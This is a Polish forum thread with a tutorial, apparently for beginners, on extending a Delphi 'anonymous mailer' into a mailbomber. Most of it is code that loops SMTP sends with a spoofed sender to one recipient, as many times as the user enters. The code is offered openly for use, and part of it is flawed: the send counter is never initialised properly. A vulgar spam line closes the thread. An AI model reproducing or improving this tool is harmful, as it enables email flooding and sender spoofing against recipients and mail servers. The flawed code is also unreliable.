Mailbombery

Dołączył: 12 Mar 2006

Mailbomber, czyli przekształcamy anonima by frodo

Witajcie, w tym arcie przekształcimy anonima z mojego nie dawnego artykuliku.

1. Zaczynamy

Dorzucamy na formę jeszcze jednego Label'a i jednego Edita. Ustawiamy obok siebie i zmieniamy caption etykietki na 'Ilość', a caption z edita kasujemy. Teraz pewnie już wiecie do czego będzie to służyć, ale jeszcze jeden label trzeba wrzucić. Możemy zmienić mu w font, kolor np. na czerwony. Bo będzie on wyświtlał ilość wysłanych maili.

2. Kod

Klikamy sobie dwukrotnie na nasz button1. I podmieniamy dotychczasowy kod na :

var // deklarujemy zmienne
ilosc : integer;
wyslane : integer;
begin // zaczyna się
ilosc := StrToInt(Edit6.Text); // ustawiam, że ilość to caption edita zmieniony na integer
repeat // pętelka
begin
MessageSend.Body.Append(Memo1.Text); // nastepnych pare linijek znacie z mojego arta
MessageSend.From.name := Edit2.Text;
MessageSend.From.Address := Edit5.Text;
MessageSend.Recipients.EMailAddresses := Edit3.Text;
MessageSend.Subject := Edit4.Text;

SMTP.Host := Edit1.Text;
SMTP.Connect;
try
SMTP.Send(MessageSend);
finally
SMTP.Disconnect;
wyslane := wyslane + 1; // do wysłanych ma dodawać 1 po każdej pętelce, czyli po wysłaniu maila
end;
end;
until // pętla sie skończy jeśli...
wyslane = ilosc; // 'wysłane' będą równe 'ilości', czyli jesli wyśle tyle maili ile było podane w edit6
Label8.Caption := IntToStr(wyslane); // label8 wyświetla ilość wysłanych maili
end;

Do onCreate dodamy, co takiego:
var
wyslane : integer;
begin
wyslane := 0; // ustawiamy ilość 'wyslanych'
end;

Proste, prawda? Troche krótki ten art, więc może dodamy coś jeszcze? W takim razie dodamy sprawdzenie poprawności maila odbiorcy. Oto kod, który dodamy do button1, tuż przed pętlą:

if Pos('@', Edit3.Text) = 0 then ShowMessage('W polu "Odbiorca" nie ma znaku "@"')
else
{a tu musi być pętla}

Ok, już jest trochę ciekawiej. Ale teraz coś jeszcze...

3. Koniec

Mam nadzieję, że sie podobało. I może nawet komuś pomogło Wink

Może będzie trzecia częśc o załączniku, a moze nie.

lepiej by bylo zeby byla

Dołączył: 12 Mar 2006

ale tym zbombardujesz meila masakra

to dobrze ze hoc jedna osoba to czyta

Dołączył: 12 Mar 2006

zamykam te tematy

Two grandmas are done in all holes!
[link widoczny dla zalogowanych]